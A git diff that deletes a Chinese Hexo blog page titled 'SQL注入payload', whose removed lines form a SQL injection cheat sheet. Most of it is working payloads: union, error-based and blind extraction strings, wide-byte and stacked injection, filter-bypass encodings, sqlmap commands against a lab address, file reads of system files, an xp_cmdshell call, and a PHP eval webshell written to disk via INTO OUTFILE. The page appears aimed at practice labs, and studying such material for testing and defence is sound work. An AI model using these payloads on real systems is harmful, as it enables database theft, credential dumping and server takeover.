diff --git "a/2021/12/01/-0-SQL\346\263\250\345\205\245payload/index.html" "b/2021/12/01/-0-SQL\346\263\250\345\205\245payload/index.html" deleted file mode 100644 index 1562199..0000000 --- "a/2021/12/01/-0-SQL\346\263\250\345\205\245payload/index.html" +++ /dev/null @@ -1,761 +0,0 @@ - - - - - - - - - - - - - -SQL注入payload | Hexo

SQL注入payload

-

- SQL注入

-

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

-

攻击总体思路:

-

1:寻找到SQL注入的位置

-

2:判断服务器类型和后台数据库类型

-

3:针对不同的服务器和数据库特点进行SQL注入攻击

- -

- 0x00 SQL基本语法

-

MySQL开启远程连接 GRANT ALL PRIVILEGES ON *.* TO ‘用户名‘@’%’ IDENTIFIED BY ‘密码’ WITH GRANT OPTION;

- -

- 0 表的用途

-

MySQL

-
1
2
3
4
5
6
7
8
9
10
11
information_schema.schemata 存放所有数据库
schema_name 数据库名称

information_schema.tables 存放所有数据库的表
table_schema 数据库名称
table_name 表名称

information_schema.columns 存放所有数据库的列
table_schema 数据库名称
table_name 表名称
column_name 列名称
- - - - -

- 1 SELECT

-

SELECT * FROM 数据库.表

- -

- 2 INSERT

-

INSERT INTO table_name (column_list) VALUES (value_list);

- -

- 3 UPDATE

-

UPDATE subDomainDic SET type4domain=NULL,dic_target=0,domain_target=NULL WHERE dic_target=1;

- -

- 4 DELETE

-

DELETE FROM table_name WHERE predicate;

- -

- 5 基本函数

-

MySQL

-
1
2
3
4
mid
substr
group_concat
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
- - -

- 6 基本语句

-
1
2
3
4
5
6
7
8
9
10
显示版本:select version();
显示字符集:select @@character_set_database;
显示数据库show databases;
显示表名:show tables;
显示计算机名:select @@hostname;
显示系统版本:select @@version_compile_os;
显示mysql路径:select @@basedir;
显示数据库路径:select @@datadir;
显示root密码:select User,Password from mysql.user;
开启外连:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
- - - - -

- x 中间件容器解析的区别

-
1
2
3
4
index.php?id=1&id=2
apache(php)解析最后一个参数,即显示id=2的内容。
Tomcat(jsp)解析第一个参数,即显示id=1的内容。

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Web服务器参数获取函数获取到的参数
PHP/Apache$_GET(“par”)Last
JSP/TomcatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
Python/Apachegetvalue(“par”)All(list)
ASP/IISRequest.QuertString(“par”)All(comma-delimited string)
- -

- 不同数据库的注入判断

-
1
2
3
4
5
6
7
8
9
10
# Oracle
'+UNION+SELECT+'abc','def'+FROM+dual--
# 显示数据库版本:
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--


# MSSQL
'+UNION+SELECT+'abc','def'#
'UNION+SELECT+@@version,+NULL--+a
# 检索数据库中的表列表: '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
- - - - - - -

- 0x01 SQL注入基础

- -

- 1 常规注入

-

爆数据库

-
1
?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--
- -

爆数据表

-
1
?id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
- -

爆数据列

-
1
?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
- -

爆数据

-
1
?id=1') and 1=2 union select 1,group_concat(username),group_concat(password) from security.users--+
- -

查看是否具有读取权限

-
1
2
# 如果结果返回正常,说明具有读写权限。
select (select count(*) from mysql.user)>0;
- -

读文件

-
1
2
3
4
5
6
7
8
9
10
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))

利用hex()将文件内容导出来,尤其是smb文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用\\代替

- -

文件导入

-
1
?id=1')) UNION SELECT 1,2,'<?php@eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+
- - - - -

- 3 基于时间的盲注

-

if判断

-
1
2
3
4
5
6
7
# if表达式 如果a表达式为真,则执行b表达式,为假则执行c表达式
if(a, b, c)
?id=2' or if(1,sleep(2),1)--+

and (SELECT 7621 FROM (SELECT(SLEEP(5)))fjCb)--+
and (SELECT * FROM (SELECT(if(1,sleep(5),1)))aaa)#
AND (SELECT 7684 FROM (SELECT(SLEEP(5)))mRcs)
- -

利用sleep函数进行注入

-
1
2
# 若为假则延时五秒
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
- -

利用BENCHMARK()进行延时注入

-
1
2
# 当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间。
?id=1'UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1--+
- - - - -

- 4 基于布尔的盲注

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# rand()布尔判断
rand(true), rand(false)
?sort=rand(ascii(left(database(),1))=115)

###
select rand(ascii(left(database(),1))=115);
+-------------------------------------+
| rand(ascii(left(database(),1))=115) |
+-------------------------------------+
| 0.40540353712197724 |
+-------------------------------------+
select rand(true);
+---------------------+
| rand(true) |
+---------------------+
| 0.40540353712197724 |
+---------------------+

# buer
id=(SELECT (CASE WHEN (9647=9647) THEN 14 ELSE (SELECT 6297 UNION SELECT 2981) END))
- -

判断数据库版本第一位

-
1
?id=1' and left(version(),1)=5--+
- -

判断数据库长度

-
1
?id=1' and length(database())=8--+
- -

判断数据库第一位

-
1
?id=1' and left(database(),1)>'a';--+
- -

判断数据库第一位ascii

-
1
?id=1' and ascii(left(database(),1))>100--+
- -

布尔盲注获取数据表信息

-
1
2
3
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
# limit 0,1限制显示第一个表 substr限制数据结果的位数显示
# 可组合其他函数使用,如ascii
- - - - -

- 5 报错注入

-

xpath函数报错

-
1
2
3
4
# extractvalue
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
# updatexml
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
- - - -
1
2
3
AND GTID_SUBSET(CONCAT(0x717a6a7071,(SELECT (ELT(2101=2101,1))),0x71716a6b71),2101)--

(SELECT 0x526e5452 WHERE 8019=8019 AND GTID_SUBSET(CONCAT(0x7171787671,(SELECT (ELT(5727=5727,1))),0x716b7a7171),5727))
- - - -
1
2
3
4
5
6
# 数据库数量
admin' AND GTID_SUBSET(CONCAT(0x716b7a7071,(SELECT IFNULL(CAST(COUNT(schema_name) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x71627a7671),8132)-- gqgS

# CAST 转换数据类型
CAST(COUNT(schema_name) AS NCHAR)
将COUNT(schema_name)转换为NCHAR型
- - - -

floor(rand(0)*2)

-
1
2
3
4
5
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
- -

double数值类型超出范围进行报错注入

-
1
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
- -

bigint溢出

-
1
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
- -

利用数据的重复性

-
1
?id=1' union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+
- - -

- 6 宽字节注入

-
1
2
3
4
mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤’的时候,往往利用的思路是将‘转换为\’(转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将‘前面添加的\除掉,一般有两种思路:
1%df吃掉\具体的原因是urlencode(‘\)=%5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将\’中的\过滤掉,例如可以构造%**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。
- -

image-20210908111222895

-
1
2
3
4
5
6
7
8
9
此处过滤使用函数addslashes()
addslashes()函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。Addslashes()函数和我们在32关实现的功能基本一致的,所以我们依旧可以利用%df进行绕
过。
Notice:使用addslashes(),我们需要将mysql_query设置为binary的方式,才能防御此漏洞。Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
- - - - - -
1
2
# sqlmap跑法
sqlmap -u "http://192.168.18.12/sqlilab/Less-32/?id=1" --batch --risk=3 --level=3 --random-agent - -dbs -v 3 --tamper unmagicquotes
- - -

- 7 堆叠注入

-

适用:MySQL, SQLServer, PostgreSQL

-

不适用:Oracle

-
1
2
3
4
5
6
1 原理
SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在;结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者unionall执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
Select * from products where productid=1;DELETE FROM products

2 堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
- -

mysql

-
1
2
3
4
5
6
7
8
9
10
11
# 新建一个表
select * from users where id=1;create table test like users;
show tabkes;
# 删除上面新建的test表
select * from users where id=1;drop table test;
# 查询数据
select * from users where id=1;select 1,2,3;
# 加载文件
select * from users where id=1;select load_file('c:/tmpupbbn.php');
# 修改数据
select * from users where id=1;insert into users(id,username,password) values('100','new','new');
- - - -

sqlserver

-
1
2
3
4
5
6
7
8
9
10
# 增加数据表
select * from test;create table sc3(ss CHAR(8));
# 删除数据表
select * from test;drop table sc3;
# 查询数据
select 1,2,3;select * from test;
# 修改数据
select * from test;update test set name='test' where id=3;
# 存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
- -

PostgreSQL

-
1
2
3
4
5
6
7
8
9
# 增加数据表
select * from user_test;create table user_data(id DATE);
select * from user_data;
# 删除新建的user_data表
select * from user_test;delete from user_data;
# 查询数据
select * from user_test;select 1,2,3;
# 修改数据
select * from user_test;update user_test set name='modify' where name='张三';
- - -

- 8 创建/上传文件

-
1
2
# 创建文件内容为 <?phpphpinfo();?> 16进制
?sort=1'into outfile "c:\\wamp\\www\\sqllib\\test.php"lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
- - - - -

- 9 搜索型注入

-

原理

-
1
$sql="select * from user where password like '%$pwd%' order by password";
- -

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

-
1
'and 1=1 and '%'='
- -

这样的话这句SQL语句就变成了这样:

-
1
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
- -

搜索型注入判断

-

1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

-

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

-

3 搜索keywords% ‘and 1=1 and ‘%’=’(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

-

4 搜索keywords% ‘and 1=2 and ‘%’=’(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

-

5 根据两次的返回情况来判断是不是搜索型文本框注入了

-

下面这几种语句都可以:

-
1
2
3
4
5
'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='
- -

实战

-

1)get型注入

-

测试源码:

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>
- -

1、判断字段数

-
1
%' union select 1,2,3,4,...... and '%'='
- -

还有种方法
语句:

-
1
%' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='
- - -

把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。

-

2、判断表名

-

语句:

-
1
%'and(select count(*)from admin)>0 and '%'='
- -

把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。

-

3、猜解密码

-

2)post型注入

-

测试源码:

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?  

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>

- -

1、判断是否存在SQL注入

-

用PHP万能密码进行测试

-
1
' or 1=1#  
- - -

在用户名里输入万能密码如果没报错,就说明存在SQL注入。

-

2、猜字段数

-
1
' order by 4#  
- - -

逐次更改数字去猜,直到不报错为止。

-

3、猜表名

-
1
'or 1=1 union select 1,2,3,4 #  
- - -

逐次累加数字,直到不报错为止。

-

4.猜内容

-

替换1,2,3为你想要获得的内容

-
1
'or 1=1 union select username,password,3,4 from user#   
- - - - -

- 10 insert/update型注入点

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 布尔注入
Parameter: sex (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: sex=a' RLIKE (SELECT (CASE WHEN (5274=5274) THEN 0x61 ELSE 0x28 END))-- sQlU&phonenum=a&add=a&email=a&submit=submit
Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))

# 报错注入
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: sex=a' AND EXTRACTVALUE(3124,CONCAT(0x5c,0x716b767a71,(SELECT (ELT(3124=3124,1))),0x7162626a71))-- bRMD&phonenum=a&add=a&email=a&submit=submit
Vector: AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))

# 延时注入
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)
Payload: sex=a' RLIKE (SELECT 6187 FROM (SELECT(SLEEP(5)))jLem)-- yIsA&phonenum=a&add=a&email=a&submit=submit
Vector: RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

- - - - - - -

- *sqlmap用法

-

获取数据库信息

-
1
sqlmap -u "http://192.168.18.12/sqlilab/Less-9/?id=1" --batch --level=3 --risk=3 --dbs
- -

获取数据表信息

-
1
sqlmap -u "http://192.168.18.12/sqlilab/Less-9/?id=1" --batch --level=3 --risk=3 -D security --tables
- -

获取列信息

-
1
sqlmap -u "http://192.168.18.12/sqlilab/Less-9/?id=1" --batch --level=3 --risk=3 -D security -T em ails --columns
- -

读取数据

-
1
sqlmap -u "http://192.168.18.12/sqlilab/Less-9/?id=1" --batch --level=3 --risk=3 -D security -T us ers --C id,username,password --dump
- - - -
1
2
# http头注入
sqlmap.py -u “url” --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql --current-db --current-user --dbs
- - - - - - -

- 0x02 绕过及过滤闭合

- -

- 1、绕过

- -

- 1 注释符绕过

-

常用注释符:

-
1
2
3
4
5
6
7
8
//,
-- ,
/**/,
#,
--+,
-- -,
;,%00,
--aUNION /**/ Select /**/user,pwd,from userU/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
- -

绕过注释符号(#,–)过滤:

-
1
2
3
4
5
id=1'union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1'union select 1,2,'3
- - - - -

- 2 or and 绕过

-
1
2
3
4
5
and=&& or=||
1)大小写变形Or,OR,oR
2)编码,hex,urlencode
3)添加注释/*or*/
4)利用符号and=&&or=||
- - - - -

- 2 大小写绕过

-
1
?id=1+UnIoN/**/SeLeCT
- - -

- 3 内联注释绕过

-
1
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
- -

通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =

- -

- 4 双关键字绕过

-
1
?id=1+UNIunionON+SeLselectECT+1,2,3–
- - -

- 5 编码绕过

-

如URLEncode编码,ASCII,HEX,unicode编码绕过

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
or 1=1%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过

select load_file('0x2f6574632f706173737764');
python
>>> '/etc/passwd'.encode('hex')
'2f6574632f706173737764'

?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

一些unicode编码举例:

单引号:'%u0027 %u02b9 %u02bc%u02c8 %u2032%uff07 %c0%27%c0%a7 %e0%80%a7

空白:%u0020 %uff00%c0%20 %c0%a0 %e0%80%a0

左括号(:%u0028 %uff08%c0%28 %c0%a8%e0%80%a8

右括号):%u0029 %uff09%c0%29 %c0%a9%e0%80%a9
- -

十六进制引号绕过

-

users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

-
1
selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
- - - - -

- 6 空格绕过

-

两个空格代替一个空格,用Tab代替空格

-
1
2
3
4
5
6
7
8
%20 +
%09 tab键(水平)
%0a 新建一行
%0b tab键(垂直)
%0c 新建一页
%0d return功能
%a0 空格
/**/
- -

括号绕过空格在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

-
1
select(user())from dual where 1=1 and 2=2;
- - - - -

- 7 逗号绕过

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1); # for 1显示1个字符 from 1从第一个开始显示
select mid(database() from 1 for 1);

对于limit可以使用offset来绕过:

select * from news limit 0,1# 等价于下面这条SQL语句
select * from news limit 1 offset 0

# case when then
1 mysql> select case when 1=1 then sleep(2) else 0 end;
2 +----------------------------------------+
3 | case when 1=1 then sleep(2) else 0 end |
4 +----------------------------------------+
5 | 0 |
6 +----------------------------------------+
7 row in set (2.00 sec)

# join
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
- - -

- 8 比较符号-尖括号过滤绕过<>

-
1
2
3
4
5
6
7
8
9
10
11
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
- - -

- 9 =绕过

-

like绕过 =

-
1
2
?id=1' or 1 like 1 
绕过对“=”,“>”等的过滤
- - -

- 10 union,select,where等绕过

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(1)使用注释符绕过:

常用注释符:

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

U/**/NION/**/SE/**/LECT/**/user,pwd from user

(2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

(3)内联注释绕过:

id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#

## (4) 双关键字绕过:

id=-1'UNIunionONSeLselectECT1,2,3–-
- - - - -

- 10.通用绕过(编码):

-

如URLEncode编码,ASCII,HEX,unicode编码绕过:

-

or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

- -

- 11 等价函数绕过

-
1
2
3
4
5
6
7
8
9
10
11
hex()、bin()==>ascii()

sleep()==>benchmark()

concat_ws()==>group_concat()

mid()、substr()==>substring() @@user==>user() @@datadir==>datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者:

substr((select'password'),1,1)=0x70strcmp(left('password',1),0x69)=1strcmp(left('password',1),0x70)=0strcmp(left('password',1),0x71)=-1
- - -

- 12 宽字节绕过

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27


过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:
id=-1%df%27union select 1,user(),3--+

(2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \ 转为 \\,将 " 转为 \" 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:
\x00 \n \r \'" \x1a
(防御,将mysql设置为gbk即可)
- - - - - - -

- * 万能密钥绕过

-
1
用经典的or 1=1判断绕过,如or ‘swords’ =’swords
- - -

- 8 +,-,.号拆解字符串绕过

-
1
2
?id=1' or '11+11'='11+11'
"-"和"."
- - - - -

- 10 in绕过

-
1
or '1' IN ('swords')
- - -

- 11 >,

-
1
2
or 'password' > 'pass'
or 1<3
- - -

- 12 等价函数与命令绕过

-

1.函数或变量

-
1
2
3
4
5
6
7
8
9
10
11
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

举例:substring()和substr()无法使用时:
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者:
substr((select 'password'),1,1) = 0x70strcmp(left('password',1), 0x69) = 1strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x71) = -1
- -

2.符号

-
1
andor有可能不能使用,可以试下&&||=不能使用的情况,可以考虑尝试
- -

3.生僻函数

-
1
2
3
4
5
6
7
MySQL/PostgreSQL支持XML函数:
Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);          
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))and extractvalue(1, concat(0x5c, (select user()),0x5c))
- - -

- 13 反引号`绕过

-
1
select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
- - -

- 14 换行符绕过

-
1
%0a、%0d
- - -

- 15 截断绕过

-
1
2
3
%00,%0A,?,/0,........,%80-%99
目录字符串,在window256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
././././././././././././././././abcabc..1/abc/../1/abc/../1/abc
- - - - -

- 17 \N绕过

-
1
2
3
4
5
\N其实相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
- - -

- 18 特殊的绕过函数

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1. 通过greatest函数绕过不能使用大小于符号的情况
greatest(a,b),返回a和b中较大的那个数。当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:
mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
+------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
+------------------------------------------+
| 1 |
+------------------------------------------+
如果小于150,则上述返回值为True

2. 通过substr函数绕过不能使用逗号的情况
mid(user() from 1 for 1)或substr(user() from 1 for 1)
mysql> select ascii(substr(user() from 1 for 1)) < 150;
+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
+------------------------------------------+
| 1 |
+------------------------------------------+

3.使用数学运算函数在子查询中报错
exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。
~x 是一个一元运算符,将x按位取补

select exp(~(select*from(select user())a))mysql报错:
mysql> select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range inexp(~((select ‘root@localhostfrom dual)))’
这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围,分解到子查询,就是:(select*from(select user())a)
得到字符串 root@localhost表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数
- - - - -

- mysql黑魔法绕过

-

select{x user}from {x mysql.user};

-

img

-

select user from mysql.user where 1=\Nunion select@1;

-

select user from mysql.user where 1=\Nunion select-.1;

-

select~2.1from xxxx

-

select-2.1from xxx

-

select~2e1from xxx

-
1
if((select%0b(select(xxx)``from(xxx))regexp(0x5e61)),(`sleep`(5)),0)
- - - - - - -

- 2、过滤闭合

- -

- 1 过滤关键字

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
1 过滤关键字   and or

php代码 preg_match('/(and|or)/i',$id)

会过滤的攻击代码 1 or 1=1 1 and 1=1

绕过方式 1 || 1=1 1 && 1=1

2 过滤关键字 and or union

php代码 preg_match('/(and|or|union)/i',$id)

会过滤的攻击代码 union select user,password from users

绕过方式 1 && (select user from users where userid=1)='admin'

3 过滤关键字 and or union where

php代码 preg_match('/(and|or|union|where)/i',$id)

会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'

绕过方式 1 && (select user from users limit 1) = 'admin'

4 过滤关键字 and or union where

php代码 preg_match('/(and|or|union|where)/i',$id)

会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'

绕过方式 1 && (select user from users limit 1) = 'admin'

5 过滤关键字 and, or, union, where, limit

php代码 preg_match('/(and|or|union|where|limit)/i', $id)

会过滤的攻击代码 1 && (select user from users limit 1) = 'admin'

绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

6 过滤关键字 and, or, union, where, limit, group by

php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)

会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'

